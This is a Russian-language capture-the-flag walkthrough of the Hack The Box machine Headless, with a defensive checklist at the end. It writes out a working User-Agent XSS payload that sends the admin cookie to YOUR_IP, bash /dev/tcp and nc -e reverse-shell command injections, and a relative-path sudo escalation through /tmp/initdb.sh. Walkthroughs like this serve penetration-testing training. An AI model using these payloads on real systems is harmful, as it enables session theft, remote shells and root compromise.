HTB Headless прохождение: от XSS в User-Agent до root через sudo

XSS (Cross-Site Scripting — внедрение вредоносного JavaScript-кода, который выполняется в браузере жертвы) сидит в OWASP Top 10 2021 под категорией A03: Injection — и никуда оттуда не денется. Но вот что интересно: начинающие пентестеры проверяют XSS в полях ввода форм и на этом останавливаются. HTTP-заголовки? «Это же серверные данные, зачем их тестировать?» На машине Headless именно заголовок User-Agent становится вектором, через который угоняется cookie администратора и раскручивается цепочка до полного захвата сервера. Разберём весь путь: от первого сканирования до root-флага.
Зачем это знать: уязвимость сама по себе — полдела. Ценность Headless в том, что здесь пять техник собираются в одну цепочку (kill chain — последовательность шагов атаки от первого контакта до цели). Каждое звено по отдельности выглядит безобидно. Вместе — root.
- Initial Access — Exploit Public-Facing Application (MITRE ATT&CK T1190). XSS-уязвимость в форме обратной связи. Приложение фильтрует тело запроса, но отображает HTTP-заголовки без экранирования.
- Credential Access — Steal Web Session Cookie (T1539). Через XSS-payload в заголовке User-Agent крадём сессионную cookie администратора. Cookie улетает на наш HTTP-сервер.
- Lateral Movement — Web Session Cookie (T1550.004). Подставляем украденную cookie в браузер и попадаем в закрытую административную панель.
- Execution — Unix Shell (T1059.004). На панели находим form-параметр, значение которого передаётся напрямую в shell-команду. Через command injection (ситуация, когда пользовательский ввод исполняется как системная команда) получаем reverse shell — целевая машина сама соединяется с нашей.
- Privilege Escalation — Sudo and Sudo Caching (T1548.003). Пользователь dvir может запускать скрипт syscheck от root через sudo (программа, дающая право выполнить команду от имени суперпользователя) без пароля. Скрипт вызывает
initdb.shпо относительному пути — создаём свой файл с таким именем и получаем root.
По классификации OWASP Top 10 (рейтинг критичных рисков веб-приложений) здесь задействованы A03:2021 — Injection (XSS и command injection) и A01:2021 — Broken Access Control (cookie без флага HttpOnly, доступ к дашборду определяется только значением cookie).
Контекст применимости: CTF-среда, легаси-конфигурация веб-приложения без WAF и без CSP-заголовков, Linux без EDR/auditd.
Требования к окружению
Перед началом убедитесь, что у вас есть:
- ОС: Kali Linux 2023.x+ или другой дистрибутив с инструментами пентеста (Parrot OS, BlackArch)
- RAM: минимум 4 ГБ (Kali + Burp Suite Community Edition)
- Сеть: активное VPN-подключение к HackTheBox (команда
sudo openvpn your-lab.ovpn, проверка —ip addr show tun0должен показать IP в диапазоне 10.10.x.x) - Инструменты: nmap, feroxbuster или dirsearch, Burp Suite Community/Pro (перехват HTTP-трафика), netcat (
nc), Python 3, curl - Браузер: Firefox с прокси на Burp (127.0.0.1:8080) — чтобы видеть и модифицировать запросы на лету
Разведка: сканирование и обнаружение точек входа
Порты и сервисы
Первый шаг на любой машине — узнать, что торчит наружу. Запускаем nmap: nmap -p- --min-rate 10000 10.10.11.8. Флаг -p- проверяет все 65535 портов, --min-rate 10000 ускоряет сканирование (на HTB можно не стесняться — это не боевая сеть). Два открытых порта:
- 22/tcp — SSH (OpenSSH 9.2p1 на Debian 12). Без учётных данных тут делать нечего — запомним на потом.
- 5000/tcp — HTTP-сервер Werkzeug/2.2.2 на Python/3.11.2. Werkzeug — WSGI-библиотека, которая обычно стоит за Flask-приложениями (лёгкий веб-фреймворк на Python).
Детальное сканирование nmap -p 22,5000 -sCV 10.10.11.8 показывает в ответе сервера заголовок Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs. Сервер при первом же запросе выставляет cookie с именем is_admin. Значение InVzZXIi — base64 от строки "user". Уже понятно: приложение различает пользователей через эту cookie, а не через полноценную авторизацию. Это дырявая логика, и мы ей воспользуемся.
Перебор директорий
На веб-серверах часто есть страницы, которые не видны из навигации. Для обнаружения используем feroxbuster: feroxbuster -u http://10.10.11.8:5000. Результат:
/(код 200) — главная страница «Under Construction» со ссылкой на форму/support(код 200) — форма обратной связи с полями имени, email, телефона и сообщения/dashboard(код 500) — внутренняя ошибка сервера
Обратите внимание: /dashboard возвращает 500, а не 403 (запрещено). Приложение пытается обработать запрос, но падает — скорее всего, ожидает cookie с определённым значением. Именно ту is_admin, которую мы видели при сканировании.
XSS в заголовке User-Agent и кража admin-cookie
Как работает фильтр формы
Страница /support содержит стандартную контактную форму. Отправка обычного текста проходит без проблем — ответ 200 OK. Но если вставить в поле message HTML-тег (например, <b>test</b>), приложение реагирует предупреждением «Hacking Attempt Detected» и отображает на странице все HTTP-заголовки запроса: User-Agent, Accept, Host и прочие.
Что происходит под капотом: приложение проверяет тело POST-запроса на наличие HTML/script-тегов. При обнаружении — логирует запрос вместе с заголовками для «анализа администратором» и рендерит их в HTML. Заголовки при этом не экранируются. Фильтр проверяет тело запроса, но слепо доверяет заголовкам. Классическая ошибка: разработчик считает заголовки «своими» данными, которые пользователь не контролирует. Но curl и Burp Suite позволяют подставить в User-Agent что угодно.
Вывод: если поместить XSS-payload в HTTP-заголовок (User-Agent), а в тело запроса вставить HTML-тег как триггер для срабатывания фильтра, скрипт из заголовка выполнится в браузере того, кто просматривает лог. А это администратор.
Работает если: приложение отображает HTTP-заголовки без экранирования; cookie не имеет флага HttpOnly (а значит, доступна из JavaScript); нет Content Security Policy, блокирующего inline-скрипты.
Не работает если: установлен CSP с script-src 'self' или строже; cookie помечена HttpOnly; WAF фильтрует содержимое заголовков на уровне прокси до приложения.
Внедрение payload и перехват cookie
Для кражи cookie нужно два компонента: XSS-payload в заголовке и HTTP-сервер на вашей машине, который примет украденные данные.
Шаг 1. Запустите HTTP-сервер для приёма cookie. В отдельном терминале: python3 -m http.server 80. Ожидаемый вывод: строка Serving HTTP on 0.0.0.0 port 80. Сервер слушает и готов логировать входящие запросы.
Шаг 2. Отправьте запрос на /support с XSS-payload в заголовке User-Agent. В теле оставьте HTML-тег, чтобы сработал фильтр:
curl -X POST http://10.10.11.8:5000/support \
-H 'User-Agent: <script>var i=new Image();i.src="http://YOUR_IP/?c="+document.cookie;</script>' \
-d 'fname=test&lname=test&email=test@test.com&phone=1234567890&message=<b>x</b>'
Замените YOUR_IP на свой адрес в сети HTB (проверить: ip addr show tun0). Как работает payload: тег <script> создаёт объект Image и присваивает его атрибуту src адрес вашего сервера с cookie жертвы в GET-параметре c. Payload срабатывает, потому что приложение вставляет заголовок в HTML-контекст (заголовки рендерятся как текст в таблице лога, например <td>User-Agent-value</td>), а не в атрибут. Когда администратор откроет лог в браузере, скрипт выполнится и отправит его cookie к вам. Того же результата можно добиться через Burp Suite: перехватите POST к /support, в Repeater замените заголовок User-Agent на payload и отправьте.
Шаг 3. Подождите 30–60 секунд — приложение эмулирует проверку логов администратором. В терминале с HTTP-сервером появится GET-запрос вида GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1RBM.... Значение после c= — admin-cookie. ImFkbWluIg декодируется из base64 как "admin" (в отличие от InVzZXIi = "user"). Скопируйте полное значение cookie.
От украденной cookie к reverse shell на сервере
Подмена cookie и доступ к дашборду
С admin-cookie мы получим доступ к /dashboard, который раньше отвечал ошибкой 500. Откройте Firefox, перейдите на http://10.10.11.8:5000, откройте DevTools (F12 → вкладка Storage → раздел Cookies). Найдите cookie is_admin и замените значение на то, что пришло на ваш сервер. Обновите страницу /dashboard.
Вместо ошибки — административная панель с кнопкой «Generate Report» и полем ввода даты. Это захват сессии (session hijacking) через украденную cookie — тактика T1550.004 в действии.
Command injection и получение shell
Нажмите «Generate Report» и перехватите запрос в Burp Suite (или посмотрите его в DevTools, вкладка Network). POST-запрос уходит на /dashboard с параметром date=2023-09-15. Серверная часть, судя по поведению, подставляет это значение напрямую в shell-команду — command injection в чистом виде.
Для проверки подставьте в Burp Repeater значение date=2023-09-15;id. Если в ответе появилась строка uid=1000(dvir) — инъекция подтверждена: приложение выполнило системную команду id.
Теперь получаем полноценный reverse shell. На своей машине запустите netcat: nc -lvnp 4444. Флаги: -l — слушать, -v — подробный вывод, -n — без DNS, -p 4444 — порт. Затем отправьте payload:
curl -X POST http://10.10.11.8:5000/dashboard \
-b 'is_admin=ВСТАВЬТЕ_ADMIN_COOKIE_СЮДА' \
--data-urlencode 'date=2023-09-15;bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"'
Замените cookie и IP на реальные значения. Флаг --data-urlencode кодирует спецсимволы (&, пробелы) для корректной передачи в теле запроса. Если на целевой машине стоит netcat-traditional (с флагом -e), альтернативный payload: date=2023-09-15;nc+YOUR_IP+4444+-e+/bin/bash. В терминале с netcat появится строка connect to [YOUR_IP] from ... — вы в shell от имени пользователя dvir.
Для удобства стабилизируйте shell: выполните script -qc /bin/bash /dev/null, затем Ctrl+Z, в своём терминале stty raw -echo; fg, Enter и export TERM=xterm. После этого появится нормальное приглашение с автодополнением и корректной обработкой Ctrl+C. Без стабилизации случайный Ctrl+C убьёт соединение — проверено на собственных нервах.
Флаг пользователя: cat /home/dvir/user.txt.
Повышение привилегий через sudo и syscheck
Анализ sudo-привилегий и скрипта
После получения shell от обычного пользователя — проверяем, что доступно через sudo. sudo -l (список разрешённых sudo-команд для текущего пользователя) покажет:
(ALL) NOPASSWD: /usr/bin/syscheck
Пользователь dvir может запустить /usr/bin/syscheck от root без пароля. Смотрим содержимое: cat /usr/bin/syscheck. Bash-скрипт, который проверяет состояние системы (запущенные процессы, место на диске) и в конце вызывает ./initdb.sh. Обратите внимание на точку и слеш — путь относительный. Bash ищет initdb.sh в текущей рабочей директории, а не по абсолютному пути вроде /usr/bin/initdb.sh. Это и есть уязвимость.
Эксплуатация относительного пути
Идея простая: создаём свой initdb.sh в директории, откуда запустим syscheck. Скрипт выполнит наш файл с правами root.
cd /tmp
echo '#!/bin/bash' > initdb.sh
echo '/bin/bash' >> initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck
Что происходит:
cd /tmp— переходим в директорию с правами на запись.- Создаём
initdb.sh— скрипт из одной строки, который запускает bash. chmod +x initdb.sh— делаем файл исполняемым (без этого bash откажется его запускать).sudo /usr/bin/syscheck— запускаем syscheck от root. Скрипт дойдёт до строки./initdb.sh, найдёт наш файл в текущей директории/tmpи выполнит его — откроется bash с правами root.
Приглашение сменится на root@headless:/tmp#. Проверяем: whoami → root. Флаг: cat /root/root.txt.
Работает если: sudo-скрипт использует относительные пути для вызова других файлов; атакующий контролирует рабочую директорию; файл initdb.sh не существует по абсолютному пути, который мог бы иметь приоритет.
Не работает если: скрипт использует абсолютные пути (/usr/local/bin/initdb.sh); в sudoers настроен secure_path и env_reset; на скрипт установлен immutable-атрибут (chattr +i); AppArmor или SELinux ограничивают создание исполняемых файлов в /tmp.
Защитные меры: чеклист для разработчика
Headless — учебная машина, но каждая из этих уязвимостей встречается в продакшене. Готовый список действий:
- Экранирование заголовков. Все пользовательские данные — включая HTTP-заголовки — проходят output encoding перед рендерингом в HTML. Функция
escape()в Jinja2 (шаблонизатор Flask) решает задачу. - HttpOnly и Secure на cookie. Флаг HttpOnly запрещает доступ к cookie из JavaScript — XSS теряет возможность украсть сессию. Secure — передача только по HTTPS.
- Content Security Policy. Заголовок
[Content-Security-Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy): default-src 'self'блокирует inline-скрипты и загрузку ресурсов с внешних доменов. - Параметризация команд. Вместо
os.system('report ' + date)использовать[subprocess.run](https://docs.python.org/3/library/subprocess.html#subprocess.run)(['report', date])— аргумент не интерпретируется shell. - Абсолютные пути в sudo-скриптах. Каждый вызов внешнего файла в скрипте, запускаемом через sudo, должен быть абсолютным:
/usr/local/bin/initdb.sh, не./initdb.sh. - Права на файлы. Скрипты, исполняемые от root, принадлежат root:root с правами 755 — другие пользователи не могут их изменить.
Headless — машина уровня Easy, но цепочка атак на ней точно отражает реальные паттерны. XSS в заголовках — не экзотика: подобное встречается в системах мониторинга, тикетных системах и даже в WAF-дашбордах, где HTTP-заголовки логируются и отображаются администраторам без экранирования. Разработчики считают заголовки «серверными данными» и не применяют к ним те же правила санитизации, что и для полей форм.
Три «несерьёзные» уязвимости собираются в полный захват сервера. XSS «всего лишь» в браузере, command injection «только» от обычного пользователя, относительный путь «всего лишь» в утилите мониторинга. Но вместе — root. По данным Verizon DBIR 2025, категория Basic Web Application Attacks составила 26% подтверждённых нарушений, и сложные цепочки из «мелочей» нередко начинаются с веб-вектора.
Не проходите Headless один раз по writeup и не забывайте. Пройдите второй раз через неделю без подсказок — замерьте, сколько шагов вспомните. На третий раз попробуйте написать правило детекции для каждого этапа: что бы увидел SOC-аналитик в логах на шаге XSS? На шаге command injection? Переключение между offensive- и defensive-мышлением формирует понимание, а не навык копирования команд. На курсе IB Basics эту связку «атака → детект → защита» разбирают на практике с лабами.
Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.